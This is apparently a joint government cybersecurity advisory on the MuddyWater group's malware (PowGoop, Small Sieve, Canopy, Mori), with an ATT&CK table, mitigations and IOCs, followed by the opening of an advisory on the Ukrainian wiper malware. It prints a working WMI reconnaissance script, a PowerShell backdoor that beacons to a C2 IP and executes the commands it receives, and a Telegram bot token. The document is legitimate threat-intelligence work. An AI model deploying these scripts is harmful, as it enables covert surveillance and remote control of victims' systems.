for loading malware, backdoor access, persistence
[TA0003], and exfiltration [TA0010]. See below for descriptions of some of these malware sets,
including newer tools or variants to the group
s suite. Additionally, see Malware Analysis Report MAR10369127.r1.v1: MuddyWater for further details.
PowGoop
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MuddyWater actors use new variants of PowGoop malware as their main loader in malicious
operations; it consists of a DLL loader and a PowerShell-based downloader. The malicious file
impersonates a legitimate file that is signed as a Google Update executable file.
According to samples of PowGoop analyzed by CISA and CNMF, PowGoop consists of three
components:
A DLL file renamed as a legitimate filename, Goopdate.dll, to enable the DLL side-loading
technique [T1574.002]. The DLL file is contained within an executable, GoogleUpdate.exe.
A PowerShell script, obfuscated as a .dat file, goopdate.dat, used to decrypt and run a
second obfuscated PowerShell script, config.txt [T1059.001].
config.txt, an encoded, obfuscated PowerShell script containing a beacon to a hardcoded
IP address.
These components retrieve encrypted commands from a C2 server. The DLL file hides
communications with MuddyWater C2 servers by executing with the Google Update service.
Small Sieve
According to a sample analyzed by NCSC-UK, Small Sieve is a simple Python [T1059.006] backdoor
distributed using a Nullsoft Scriptable Install System (NSIS) installer, gram_app.exe. The NSIS
installs the Python backdoor, index.exe, and adds it as a registry run key [T1547.001], enabling
persistence [TA0003].
MuddyWater disguises malicious executables and uses filenames and Registry key names
associated with Microsoft's Windows Defender to avoid detection during casual inspection. The APT
group has also used variations of Microsoft (e.g., "Microsift") and Outlook in its filenames associated
with Small Sieve [T1036.005].
Small Sieve provides basic functionality required to maintain and expand a foothold in victim
infrastructure and avoid detection [TA0005] by using custom string and traffic obfuscation schemes
together with the Telegram Bot application programming interface (API). Specifically, Small Sieve
beacons and taskings are performed using Telegram API over Hypertext Transfer Protocol Secure
(HTTPS) [T1071.001], and the tasking and beaconing data is obfuscated through a hex byte
swapping encoding scheme combined with an obfuscated Base64 function [T1027], T1132.002].
Note: cybersecurity agencies in the United Kingdom and the United States attribute Small Sieve to
MuddyWater with high confidence.
See Appendix B for further analysis of Small Sieve malware.
Canopy
MuddyWater also uses Canopy/Starwhale malware, likely distributed via spearphishing emails with
targeted attachments [T1566.001]. According to two Canopy/Starwhale samples analyzed by CISA,
Canopy uses Windows Script File (.wsf) scripts distributed by a malicious Excel file. Note: the
cybersecurity agencies of the United Kingdom and the United States attribute these malware samples
to MuddyWater with high confidence.
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In the samples CISA analyzed, a malicious Excel file, Cooperation terms.xls, contained macros
written in Visual Basic for Applications (VBA) and two encoded Windows Script Files. When the victim
opens the Excel file, they receive a prompt to enable macros [T1204.002]. Once this occurs, the
macros are executed, decoding and installing the two embedded Windows Script Files.
The first .wsf is installed in the current user startup folder [T1547.001] for persistence. The file
contains hexadecimal (hex)-encoded strings that have been reshuffled [T1027]. The file executes a
command to run the second .wsf.
The second .wsf also contains hex-encoded strings that have been reshuffled. This file collects
[TA0035] the victim system
s IP address, computer name, and username [T1005]. The collected data
is then hex-encoded and sent to an adversary-controlled IP address, http[:]88.119.170[.]124,
via an HTTP POST request [T1041].
Mori
MuddyWater also uses the Mori backdoor that uses Domain Name System tunneling to communicate
with the group
s C2 infrastructure [T1572].
According to one sample analyzed by CISA, FML.dll, Mori uses a DLL written in C++ that is
executed with regsvr32.exe with export DllRegisterServer; this DLL appears to be a component
to another program. FML.dll contains approximately 200MB of junk data [T1001.001] in a resource
directory 205, number 105. Upon execution, FML.dll creates a mutex, 0x50504060, and performs
the following tasks:
Deletes the file FILENAME.old and deletes file by registry value. The filename is the DLL file with
a .old extension.
Resolves networking APIs from strings that are ADD-encrypted with the key 0x05.
Uses Base64 and Java Script Object Notation (JSON) based on certain key values passed to the
JSON library functions. It appears likely that JSON is used to serialize C2 commands and/or their
results.
Communicates using HTTP over either IPv4 or IPv6, depending on the value of an unidentified
flag, for C2 [T1071.001].
Reads and/or writes data from the following Registry Keys, HKLM\Software\NFC\IPA and
HKLM\Software\NFC\(Default).
POWERSTATS
This group is also known to use the POWERSTATS backdoor, which runs PowerShell scripts to
maintain persistent access to the victim systems [T1059.001].
CNMF has posted samples further detailing the different parts of MuddyWater
s new suite of tools
along with JavaScript files used to establish connections back to malicious infrastructure
to the
malware aggregation tool and repository, Virus Total. Network operators who identify multiple
instances of the tools on the same network should investigate further as this may indicate the
presence of an Iranian malicious cyber actor.
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MuddyWater actors are also known to exploit unpatched vulnerabilities as part of their targeted
operations. FBI, CISA, CNMF, and NCSC-UK have observed this APT group recently exploiting the
Microsoft Netlogon elevation of privilege vulnerability (CVE-2020-1472) and the Microsoft Exchange
memory corruption vulnerability (CVE-2020-0688). See CISA
s Known Exploited Vulnerabilities
Catalog for additional vulnerabilities with known exploits and joint Cybersecurity Advisory: Iranian
Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities
for additional Iranian APT group-specific vulnerability exploits.
Survey Script
The following script is an example of a survey script used by MuddyWater to enumerate information
about victim computers. It queries the Windows Management Instrumentation (WMI) service to obtain
information about the compromised machine to generate a string, with these fields separated by a
delimiter (e.g., ;; in this sample). The produced string is usually encoded by the MuddyWater implant
and sent to an adversary-controlled IP address.
$O = Get-WmiObject Win32_OperatingSystem;$S = $O.Name;$S += ";;";$ips = "";GetWmiObject Win32_NetworkAdapterConfiguration -Filter "IPEnabled=True" | % {$ips =
$ips + ", " + $_.IPAddress[0]};$S += $ips.substring(1);$S += ";;";$S +=
$O.OSArchitecture;$S += ";;";$S +=
[System.Net.DNS]::GetHostByName('').HostName;$S += ";;";$S += ((Get-WmiObject
Win32_ComputerSystem).Domain);$S += ";;";$S += $env:UserName;$S +=
";;";$AntiVirusProducts = Get-WmiObject -Namespace "root\SecurityCenter2" -Class
AntiVirusProduct -ComputerName $env:computername;$resAnti =
@();foreach($AntiVirusProduct in $AntiVirusProducts){$resAnti +=
$AntiVirusProduct.displayName};$S += $resAnti;echo $S;
Newly Identified PowerShell Backdoor
The newly identified PowerShell backdoor used by MuddyWater below uses a single-byte ExclusiveOR (XOR) to encrypt communications with the key 0x02 to adversary-controlled infrastructure. The
script is lightweight in functionality and uses the InvokeScript method to execute responses received
from the adversary.
function encode($txt,$key){$enByte =
[Text.Encoding]::UTF8.GetBytes($txt);for($i=0; $i -lt $enByte.count ;
$i++){$enByte[$i] = $enByte[$i] -bxor $key;}$encodetxt =
[Convert]::ToBase64String($enByte);return $encodetxt;}function
decode($txt,$key){$enByte = [System.Convert]::FromBase64String($txt);for($i=0; $i
-lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$dtxt =
[System.Text.Encoding]::UTF8.GetString($enByte);return
$dtxt;}$global:tt=20;while($true){try{$w =
[System.Net.HttpWebRequest]::Create('http[:]//95.181.161[.]49:80/index.php?id=<vi
ctim identifier>');$w.proxy = [Net.WebRequest]::GetSystemWebProxy();$r=(NewObject
System.IO.StreamReader($w.GetResponse().GetResponseStream())).ReadToEnd();if($r.L
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ength -gt 0){$res=[string]$ExecutionContext.InvokeCommand.InvokeScript(( decode
$r 2));$wr =
[System.Net.HttpWebRequest]::Create('http[:]//95.181.161[.]49:80/index.php?id=<vi
ctim identifier>');$wr.proxy =
[Net.WebRequest]::GetSystemWebProxy();$wr.Headers.Add('cookie',(encode $res
2));$wr.GetResponse().GetResponseStream();}}catch {}Start-Sleep -Seconds
$global:tt;}
MITRE ATT&CK TECHNIQUES
MuddyWater uses the ATT&CK techniques listed in table 1.
Table 1: MuddyWater ATT&CK Techniques [2]
Technique Title
Reconnaissance
Gather Victim Identity
Information: Email Addresses
T1589.002 MuddyWater has specifically targeted government agency
employees with spearphishing emails.
Resource Development
Acquire Infrastructure: Web
Services
T1583.006 MuddyWater has used file sharing services including
OneHub to distribute tools.
Obtain Capabilities: Tool
T1588.002 MuddyWater has made use of legitimate
tools ConnectWise and RemoteUtilities for access to target
environments.
Initial Access
Phishing: Spearphishing
Attachment
T1566.001 MuddyWater has compromised third parties and used
compromised accounts to send spearphishing emails with
targeted attachments.
Phishing: Spearphishing Link
T1566.002 MuddyWater has sent targeted spearphishing emails with
malicious links.
Execution
Windows Management
Instrumentation
T1047
MuddyWater has used malware that leveraged Windows
Management Instrumentation for execution and querying
host information.
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Command and Scripting
Interpreter: PowerShell
T1059.001 MuddyWater has used PowerShell for execution.
Command and Scripting
Interpreter: Windows
Command Shell
1059.003
Command and Scripting
Interpreter: Visual Basic
T1059.005 MuddyWater has used Virtual Basic Script (VBS) files to
execute its POWERSTATS payload, as well as macros.
Command and Scripting
Interpreter: Python
T1059.006 MuddyWater has used developed tools in Python
including Out1.
Command and Scripting
Interpreter: JavaScript
T1059.007 MuddyWater has used JavaScript files to execute
its POWERSTATS payload.
Exploitation for Client
Execution
T1203
User Execution: Malicious Link
T1204.001 MuddyWater has distributed URLs in phishing emails that
link to lure documents.
User Execution: Malicious File
T1204.002 MuddyWater has attempted to get users to enable macros
and launch malicious Microsoft Word documents delivered
via spearphishing emails.
Inter-Process
Communication: Component
Object Model
T1559.001 MuddyWater has used malware that has the capability to
execute malicious code via COM, DCOM, and Outlook.
Inter-Process
Communication: Dynamic
Data Exchange
T1559.002 MuddyWater has used malware that can execute
PowerShell scripts via Dynamic Data Exchange.
MuddyWater has used a custom tool for creating reverse
shells.
MuddyWater has exploited the Office vulnerability CVE2017-0199 for execution.
Persistence
Scheduled
Task/Job: Scheduled Task
T1053.005 MuddyWater has used scheduled tasks to establish
persistence.
Office Application
Startup: Office Template
Macros
T1137.001 MuddyWater has used a Word Template, Normal.dotm,
for persistence.
Boot or Logon Autostart
Execution: Registry Run Keys
/ Startup Folder
T1547.001 MuddyWater has added Registry Run key
KCU\Software\Microsoft\Windows\CurrentVersion\R
un\SystemTextEncoding to establish persistence.
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Privilege Escalation
Abuse Elevation Control
Mechanism: Bypass User
Account Control
T1548.002 MuddyWater uses various techniques to bypass user
account control.
Credentials from Password
Stores
T1555
Credentials from Web
Browsers
T1555.003 MuddyWater has run tools including Browser64 to steal
passwords saved in victim web browsers.
MuddyWater has performed credential dumping
with LaZagne and other tools, including by dumping
passwords saved in victim email.
Defense Evasion
Obfuscated Files or
Information
T1027
MuddyWater has used Daniel Bohannon
s InvokeObfuscation framework and obfuscated PowerShell
scripts. The group has also used other obfuscation
methods, including Base64 obfuscation of VBScripts and
PowerShell commands.
Steganography
T1027.003 MuddyWater has stored obfuscated JavaScript code in an
image file named temp.jpg.
Compile After Delivery
T1027.004 MuddyWater has used the .NET csc.exe tool to compile
executables from downloaded C# code.
Masquerading: Match
Legitimate Name or Location
T1036.005 MuddyWater has disguised malicious executables and
used filenames and Registry key names associated with
Windows Defender. E.g., Small Sieve uses variations of
Microsoft (Microsift) and Outlook in its filenames to attempt
to avoid detection during casual inspection.
Deobfuscate/Decode Files or
Information
T1140
Signed Binary Proxy
Execution: CMSTP
T1218.003 MuddyWater has used CMSTP.exe and a malicious .INF
file to execute its POWERSTATS payload.
Signed Binary Proxy
Execution: Mshta
T1218.005 MuddyWater has used mshta.exe to execute
its POWERSTATS payload and to pass a PowerShell oneliner for execution.
Signed Binary Proxy
Execution: Rundll32
T1218.011 MuddyWater has used malware that leveraged
rundll32.exe in a Registry Run key to execute a .dll.
MuddyWater decoded Base64-encoded PowerShell
commands using a VBS file.
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Execution Guardrails
T1480
The Small Sieve payload used by MuddyWater will only
execute correctly if the word 
Platypus
 is passed to it on
the command line.
Impair Defenses: Disable or
Modify Tools
T1562.001 MuddyWater can disable the system's local proxy settings.
Credential Access
OS Credential
Dumping: LSASS Memory
T1003.001 MuddyWater has performed credential dumping
with Mimikatz and procdump64.exe.
OS Credential Dumping: LSA
Secrets
T1003.004 MuddyWater has performed credential dumping
with LaZagne.
OS Credential
Dumping: Cached Domain
Credentials
T1003.005 MuddyWater has performed credential dumping
with LaZagne.
Unsecured
Credentials: Credentials In
Files
T1552.001 MuddyWater has run a tool that steals passwords saved in
victim email.
Discovery
System Network Configuration
Discovery
T1016
MuddyWater has used malware to collect the victim
s IP
address and domain name.
System Owner/User Discovery
T1033
MuddyWater has used malware that can collect the
victim
s username.
System Network Connections
Discovery
T1049
MuddyWater has used a PowerShell backdoor to check for
Skype connections on the target machine.
Process Discovery
T1057
MuddyWater has used malware to obtain a list of running
processes on the system.
System Information Discovery
T1082
MuddyWater has used malware that can collect the
victim
s OS version and machine name.
File and Directory Discovery
T1083
MuddyWater has used malware that checked if the
ProgramData folder had folders or files with the keywords
"Kasper," "Panda," or "ESET."
Account Discovery: Domain
Account
T1087.002 MuddyWater has used cmd.exe net user/domain to
enumerate domain users.
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Software Discovery
T1518
MuddyWater has used a PowerShell backdoor to check for
Skype connectivity on the target machine.
Security Software Discovery
T1518.001 MuddyWater has used malware to check running
processes against a hard-coded list of security tools often
used by malware researchers.
Collection
Screen Capture
T1113
MuddyWater has used malware that can capture
screenshots of the victim
s machine.
Archive Collected
Data: Archive via Utility
T1560.001 MuddyWater has used the native Windows cabinet
creation tool, makecab.exe, likely to compress stolen data
to be uploaded.
Command and Control
Application Layer
Protocol: Web Protocols
T1071.001 MuddyWater has used HTTP for C2 communications. e.g.,
Small Sieve beacons and tasking are performed using the
Telegram API over HTTPS.
Proxy: External Proxy
T1090.002 MuddyWater has controlled POWERSTATS from behind a
proxy network to obfuscate the C2 location.
MuddyWater has used a series of compromised websites
that victims connected to randomly to relay information to
Web Service: Bidirectional
Communication
T1102.002 MuddyWater has used web services including OneHub to
distribute remote access tools.
Multi-Stage Channels
T1104
MuddyWater has used one C2 to obtain enumeration
scripts and monitor web logs, but a different C2 to send
data back.
Ingress Tool Transfer
T1105
MuddyWater has used malware that can upload additional
files to the victim
s machine.
Data Encoding: Standard
Encoding
T1132.001 MuddyWater has used tools to encode C2
communications including Base64 encoding.
Data Encoding: Non-Standard
Encoding
T1132.002 MuddyWater uses tools such as Small Sieve, which
employs a custom hex byte swapping encoding scheme to
obfuscate tasking traffic.
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Remote Access Software
FBI | CISA | CNMF | NCSC-UK | NSA
T1219
MuddyWater has used a legitimate application,
ScreenConnect, to manage systems remotely and move
laterally.
Exfiltration
Exfiltration Over C2 Channel
T1041
MuddyWater has used C2 infrastructure to receive
exfiltrated data.
MITIGATIONS
Protective Controls and Architecture
Deploy application control software to limit the applications and executable code that can
be run by users. Email attachments and files downloaded via links in emails often contain
executable code.
Identity and Access Management
Use multifactor authentication where possible, particularly for webmail, virtual private
networks, and accounts that access critical systems.
Limit the use of administrator privileges. Users who browse the internet, use email, and
execute code with administrator privileges make for excellent spearphishing targets because their
system
once infected
enables attackers to move laterally across the network, gain additional
accesses, and access highly sensitive information.
Phishing Protection
Enable antivirus and anti-malware software and update signature definitions in a timely
manner. Well-maintained antivirus software may prevent use of commonly deployed attacker
tools that are delivered via spearphishing.
Be suspicious of unsolicited contact via email or social media from any individual you do
not know personally. Do not click on hyperlinks or open attachments in these communications.
Consider adding an email banner to emails received from outside your organization and
disabling hyperlinks in received emails.
Train users through awareness and simulations to recognize and report phishing and
social engineering attempts. Identify and suspend access of user accounts exhibiting unusual
activity.
Adopt threat reputation services at the network device, operating system, application, and
email service levels. Reputation services can be used to detect or prevent low-reputation email
addresses, files, URLs, and IP addresses used in spearphishing attacks.
Vulnerability and Configuration Management
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Install updates/patch operating systems, software, and firmware as soon as
updates/patches are released. Prioritize patching known exploited vulnerabilities.
ADDITIONAL RESOURCES
For more information on Iranian government-sponsored malicious cyber activity, see CISA's
webpage 
 Iran Cyber Threat Overview and Advisories and CNMF's press release 
 Iranian
intel cyber suite of malware uses open source tools.
For information and resources on protecting against and responding to ransomware, refer
to StopRansomware.gov, a centralized, whole-of-government webpage providing ransomware
resources and alerts.
The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the
United Kingdom, and the United States: Technical Approaches to Uncovering and
Remediating Malicious Activity provides additional guidance when hunting or investigating a
network and common mistakes to avoid in incident handling.
CISA offers a range of no-cost cyber hygiene services to help critical infrastructure
organizations assess, identify, and reduce their exposure to threats, including ransomware. By
requesting these services, organizations of any size could find ways to reduce their risk and
mitigate attack vectors.
The U.S. Department of State
s Rewards for Justice (RFJ) program offers a reward of up to
$10 million for reports of foreign government malicious activity against U.S. critical
infrastructure. See the RFJ website for more information and how to report information
securely.
REFERENCES
[1] CNMF Article: Iranian Intel Cyber Suite of Malware Uses Open Source Tools
[2] MITRE ATT&CK: MuddyWater
CAVEATS
The information you have accessed or received is being provided 
as is
 for informational purposes
only. The FBI, CISA, CNMF, and NSA do not endorse any commercial product or service, including
any subjects of analysis. Any reference to specific commercial products, processes, or services by
service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement,
recommendation, or favoring by the FBI, CISA, CNMF, or NSA.
PURPOSE
This document was developed by the FBI, CISA, CNMF, NCSC-UK, and NSA in furtherance of their
respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity
specifications and mitigations. This information may be shared broadly to reach all appropriate
stakeholders. The United States
 NSA agrees with this attribution and the details provided in this
report.
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APPENDIX A: IOCS
The following IP addresses are associated with MuddyWater activity:
5.199.133[.]149
45.142.213[.]17
45.142.212[.]61
45.153.231[.]104
46.166.129[.]159
80.85.158[.]49
87.236.212[.]22
88.119.170[.]124
88.119.171[.]213
89.163.252[.]232
95.181.161[.]49
95.181.161[.]50
164.132.237[.]65
185.25.51[.]108
185.45.192[.]228
185.117.75[.]34
185.118.164[.]21
185.141.27[.]143
185.141.27[.]248
185.183.96[.]7
185.183.96[.]44
192.210.191[.]188
192.210.226[.]128
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APPENDIX B: SMALL SIEVE
Note: the information contained in this appendix is from NCSC-UK analysis of a Small Sieve sample.
Metadata
Table 2: Gram_app.exe Metadata
Filename
gram_app.exe
Description
NSIS installer that installs and runs the index.exe backdoor and adds a
persistence registry key
Size
16999598 bytes
15fa3b32539d7453a9a85958b77d4c95
SHA-1
11d594f3b3cf8525682f6214acb7b7782056d282
SHA-256
b75208393fa17c0bcbc1a07857686b8c0d7e0471d00a167a07fd0d52e1fc9054
Compile Time
2021-09-25 21:57:46 UTC
Table 3: Index.exe Metadata
Filename
index.exe
Description
The final PyInstaller-bundled Python 3.9 backdoor
Size
17263089 bytes
5763530f25ed0ec08fb26a30c04009f1
SHA-1
2a6ddf89a8366a262b56a251b00aafaed5321992
SHA-256
bf090cf7078414c9e157da7002ca727f06053b39fa4e377f9a0050f2af37
d3a2
2021-08-01 04:39:46 UTC
Compile Time
Functionality
Installation
Small Sieve is distributed as a large (16MB) NSIS installer named gram_app.exe, which does not
appear to masquerade as a legitimate application. Once executed, the backdoor binary index.exe is
installed in the user
s AppData/Roaming directory and is added as a Run key in the registry to
enabled persistence after reboot.
The installer then executes the backdoor with the 
Platypus
 argument [T1480], which is also present
in the registry persistence key:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OutlookMicrosift.
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Configuration
The backdoor attempts to restore previously initialized session data from
%LocalAppData%\MicrosoftWindowsOutlookDataPlus.txt.
If this file does not exist, then it uses the hardcoded values listed in table 4:
Table 4: Credentials and Session Values
Field
Value
Description
Chat ID
2090761833
This is the Telegram Channel ID that
beacons are sent to, and, from which,
tasking requests are received. Tasking
requests are dropped if they do not
come from this channel. This value
cannot be changed.
Bot ID
Random value between
10,000,000 and
90,000,000
This is a bot identifier generated at
startup that is sent to the C2 in the
initial beacon. Commands must be
prefixed with /com[Bot ID] in order
to be processed by the malware.
Telegram Token
2003026094:
AAGoitvpcx3SFZ2_6YzIs4
La_kyDF1PbXrY
This is the initial token used to
authenticate each message to the
Telegram Bot API.
Tasking
Small Sieve beacons via the Telegram Bot API, sending the configured Bot ID, the currently logged-in
user, and the host
s IP address, as described in the Communications (Beacon format) section below.
It then waits for tasking as a Telegram bot using the python-telegram-bot module.
Two task formats are supported:
/start 
 no argument is passed; this causes the beacon information to be repeated.
/com[BotID] [command] 
 for issuing commands passed in the argument.
The following commands are supported by the second of these formats, as described in table 5: Com
Table 5: Supported Commands
Command
Description
download url
filename
The URL will be fetched and saved to the provided
filename using the Python urllib module
urlretrieve function.
delete
This command causes the backdoor to exit; it does
not remove persistence.
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change token
newtoken
The backdoor will reconnect to the Telegram Bot
API using the provided token newtoken. This
updated token will be stored in the encoded
MicrosoftWindowsOutlookDataPlus.txt file.
disconnect
The original connection to Telegram is terminated.
It is likely used after a change token command is
issued.
Any commands other than those detailed in table 5 are executed directly by passing them to cmd.exe
/c, and the output is returned as a reply.
Defense Evasion
Anti-Sandbox
Figure 1: Execution Guardrail
Threat actors may be attempting to thwart simple analysis by not passing 
Platypus
 on the command
line.
String obfuscation
Internal strings and new Telegram tokens are stored obfuscated with a custom alphabet and Base64encoded. A decryption script is included in Appendix B.
Communications
Beacon Format
Before listening for tasking using CommandHandler objects from the python-telegram-bot module, a
beacon is generated manually using the standard requests library:
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Figure 2: Manually Generated Beacon
The hex host data is encoded using the byte shuffling algorithm as described in the 
Communications
(Traffic obfuscation)
 section of this report. The example in figure 2 decodes to:
admin/WINDOMAIN1 | 10.17.32.18
Traffic obfuscation
Although traffic to the Telegram Bot API is protected by TLS, Small Sieve obfuscates its tasking and
response using a hex byte shuffling algorithm. A Python3 implementation is shown in figure 3.
Figure 3: Traffic Encoding Scheme Based on Hex Conversion and Shuffling
Detection
Table 6 outlines indicators of compromise.
Table 6: Indicators of Compromise
Type
Path
Description
Telegram Session
Persistence File
(Obfuscated)
Values
%LocalAppData%\MicrosoftWindowsOut
lookDataPlus.txt
Path
Installation path of the
Small Sieve binary
%AppData%\OutlookMicrosift\index.e
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Registry value name
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Persistence Registry Key
pointing to index.exe with
Platypus
 argument
HKCU\Software\Microsoft\Windows\Cu
rrentVersion\Run\OutlookMicrosift
String Recover Script
Figure 4: String Recovery Script
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February 26, 2022
Destructive Malware Targeting Organizations in
Ukraine
SUMMARY
Leading up to Russia
s unprovoked attack against
Ukraine, threat actors deployed destructive malware
against organizations in Ukraine to destroy computer
systems and render them inoperable.
Actions to Take Today:
Set antivirus and antimalware
programs to conduct regular scans.
Enable strong spam filters to
prevent phishing emails from
reaching end users.
Filter network traffic.
Update software.
Require multifactor authentication.
On January 15, 2022, the Microsoft Threat
Intelligence Center (MSTIC) disclosed that
malware, known as WhisperGate, was being
used to target organizations in Ukraine.
According to Microsoft, WhisperGate is intended
to be destructive and is designed to render targeted devices inoperable.
On February 23, 2022, several cybersecurity researchers disclosed that malware known as
HermeticWiper was being used against organizations in Ukraine. According to Sentinel Labs,
the malware targets Windows devices, manipulating the master boot record, which results in
subsequent boot failure.
Destructive malware can present a direct threat to an organization
s daily operations, impacting the
availability of critical assets and data. Further disruptive cyberattacks against organizations in Ukraine
are likely to occur and may unintentionally spill over to organizations in other countries. Organizations
should increase vigilance and evaluate their capabilities encompassing planning, preparation,
detection, and response for such an event.
This joint Cybersecurity Advisory (CSA) between the Cybersecurity and Infrastructure Security
Agency (CISA) and Federal Bureau of Investigation (FBI) provides information on WhisperGate and
HermeticWiper malware as well as open-source indicators of compromise (IOCs) for organizations to
detect and prevent the malware. Additionally, this joint CSA provides recommended guidance and
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local
FBI field office at www.fbi.gov/contact-us/field-offices, or the FBI
s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and
location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the
submitting company or organization; and a designated point of contact. To request incident response resources or technical
assistance related to these threats, contact CISA at CISAServiceDesk@cisa.dhs.gov.
This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries
minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to
standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic
Light Protocol, see https://www.cisa.gov/tlp. TLP
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considerations for organizations to address as part of network architecture, security baseline,
continuous monitoring, and incident response practices.
TECHNICAL DETAILS
Threat actors have deployed destructive malware, including both WhisperGate and HermeticWiper,
against organizations in Ukraine to destroy computer systems and render them inoperable. Listed
below are high-level summaries of campaigns employing the malware. CISA recommends
organizations review the resources listed below for more in-depth analysis and see the Mitigation
section for best practices on handling destructive malware.
On January 15, 2022, Microsoft announced the identification of a sophisticated malware operation
targeting multiple organizations in Ukraine. The malware, known as WhisperGate, has two stages that
corrupts a system
s master boot record, displays a fake ransomware note, and encrypts files based
on certain file extensions. Note: although a ransomware message is displayed during the attack,
Microsoft highlighted that the targeted data is destroyed, and is not recoverable even if a ransom is
paid. See Microsoft
s blog on Destructive malware targeting Ukrainian organizations for more
information and see the IOCs in table 1.
Table 1: IOCs associated with WhisperGate
Name
File Category
File Hash
Source
WhisperGate
stage1.exe
a196c6b8ffcb97ffb276d04f354696e2391311
db3841ae16c8c9f56f36a38e92
Microsoft
MSTIC
dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5
329958d38b58c3fd9384081c9b78
Microsoft
MSTIC
WhisperGate
stage2.exe
On February 23, 2022, cybersecurity researchers disclosed that malware known as HermeticWiper
was being used against organizations in Ukraine. According to Sentinel Labs, the malware targets
Windows devices, manipulating the master boot record and resulting in subsequent boot failure.
Note: according to Broadcom, 
[HermeticWiper] has some similarities to the earlier WhisperGate
wiper attacks against Ukraine, where the wiper was disguised as ransomware.
 See the following
resources for more information and see the IOCs in table 2 below.
ESET Research Tweet: Breaking. #ESETResearch discovered a new data wiper malware
used in Ukraine today. ESET telemetry shows that it was installed on hundreds of machines in
the country.
Sentinel Labs: HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine
Broadcom
s Symantec Threat Hunter Team: Ukraine: Disk-wiping Attacks Precede Russian
Invasion
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Table 2: IOCs associated with HermeticWiper
Name
File Category
File Hash
Source
Win32/KillDisk.N
Trojan
912342F1C840A42F6B74132F8A7C4FFE7
D40FB77
61B25D11392172E587D8DA3045812A66C
3385451
ESET
research
HermeticWiper
Win32 EXE
912342f1c840a42f6b74132f8a7c4ffe7d40fb
Sentinel
Labs
HermeticWiper
Win32 EXE
61b25d11392172e587d8da3045812a66c33
85451
Sentinel
Labs
RCDATA_DRV_
ms-compressed
a952e288a1ead66490b3275a807f52e5
Sentinel
Labs
RCDATA_DRV_
ms-compressed
231b3385ac17e41c5bb1b1fcb59599c4
Sentinel
Labs
RCDATA_DRV_
XP_X64
ms-compressed
095a1678021b034903c85dd5acb447ad
Sentinel
Labs
RCDATA_DRV_
XP_X86
ms-compressed
eb845b7a16ed82bd248e395d9852f467
Sentinel
Labs
Trojan.Killdisk
Trojan.Killdisk
1bc44eef75779e3ca1eefb8ff5a64807dbc94
2b1e4a2672d77b9f6928d292591
Symantec
Threat
Hunter
Team
Trojan.Killdisk
Trojan.Killdisk
0385eeab00e946a302b24a91dea4187c121
0597b8e17cd9e2230450f5ece21da
Symantec
Threat
Hunter
Team
Trojan.Killdisk
Trojan.Killdisk
a64c3e0522fad787b95bfb6a30c3aed1b578
6e69e88e023c062ec7e5cebf4d3e
Symantec
Threat
Hunter
Team
Ransomware
Trojan.Killdisk
4dc13bb83a16d4ff9865a51b3e4d24112327
c526c1392e14d56f20d6f4eaf382
Symantec
Threat
Hunter
Team
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MITIGATIONS
Best Practices for Handling Destructive Malware
As previously noted above, destructive malware can present a direct threat to an organization
s daily
operations, impacting the availability of critical assets and data. Organizations should increase
vigilance and evaluate their capabilities, encompassing planning, preparation, detection, and
response, for such an event. This section is focused on the threat of malware using enterprise-scale
distributed propagation methods and provides recommended guidance and considerations for an
organization to address as part of their network architecture, security baseline, continuous monitoring,
and incident response practices.
CISA and the FBI urge all organizations to implement the following recommendations to increase their
cyber resilience against this threat.
Potential Distribution Vectors
Destructive malware may use popular communication tools to spread, including worms sent through
email and instant messages, Trojan horses dropped from websites, and virus-infected files
downloaded from peer-to-peer connections. Malware seeks to exploit existing vulnerabilities on
systems for quiet and easy access.
The malware has the capability to target a large scope of systems and can execute across multiple
systems throughout a network. As a result, it is important for organizations to assess their
environment for atypical channels for malware delivery and/or propagation throughout their systems.
Systems to assess include:
Enterprise applications 
 particularly those that have the capability to directly interface with
and impact multiple hosts and endpoints. Common examples include:
o Patch management systems,
o Asset management systems,
o Remote assistance software (typically used by the corporate help desk),
o Antivirus (AV) software,
o Systems assigned to system and network administrative personnel,
o Centralized backup servers, and
o Centralized file shares.
While not only applicable to malware, threat actors could compromise additional resources to impact
the availability of critical data and applications. Common examples include:
Centralized storage devices
o Potential risk 
 direct access to partitions and data warehouses.
Network devices
o Potential risk 
 capability to inject false routes within the routing table, delete specific
routes from the routing table, remove/modify configuration attributes, or destroy
firmware or system binaries
which could isolate or degrade availability of critical
network resources.
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Best Practices and Planning Strategies
Common strategies can be followed to strengthen an organization
s resilience against destructive
malware. Targeted assessment and enforcement of best practices should be employed for enterprise
components susceptible to destructive malware.
Communication Flow
Ensure proper network segmentation.
Ensure that network-based access control lists (ACLs) are configured to permit server-to-host
and host-to-host connectivity via the minimum scope of ports and protocols and that
directional flows for connectivity are represented appropriately.
o Communications flow paths should be fully defined, documented, and authorized.
Increase awareness of systems that can be used as a gateway to pivot (lateral movement) or
directly connect to additional endpoints throughout the enterprise.
o Ensure that these systems are contained within restrictive Virtual Local Area Networks
(VLANs), with additional segmentation and network access controls.
Ensure that centralized network and storage devices
 management interfaces reside on
restrictive VLANs.
o Layered access control, and
o Device-level access control enforcement 
 restricting access from only pre-defined
VLANs and trusted IP ranges.
Access Control
For enterprise systems that can directly interface with multiple endpoints:
o Require multifactor authentication for interactive logons.
o Ensure that authorized users are mapped to a specific subset of enterprise personnel.
 If possible, the 
Everyone,
Domain Users,
 or the 
Authenticated Users
groups should not be permitted the capability to directly access or authenticate
to these systems.
o Ensure that unique domain accounts are used and documented for each enterprise
application service.
 Context of permissions assigned to these accounts should be fully documented
and configured based upon the concept of least privilege.
 Provides an enterprise with the capability to track and monitor specific actions
correlating to an application
s assigned service account.
o If possible, do not grant a service account with local or interactive logon permissions.
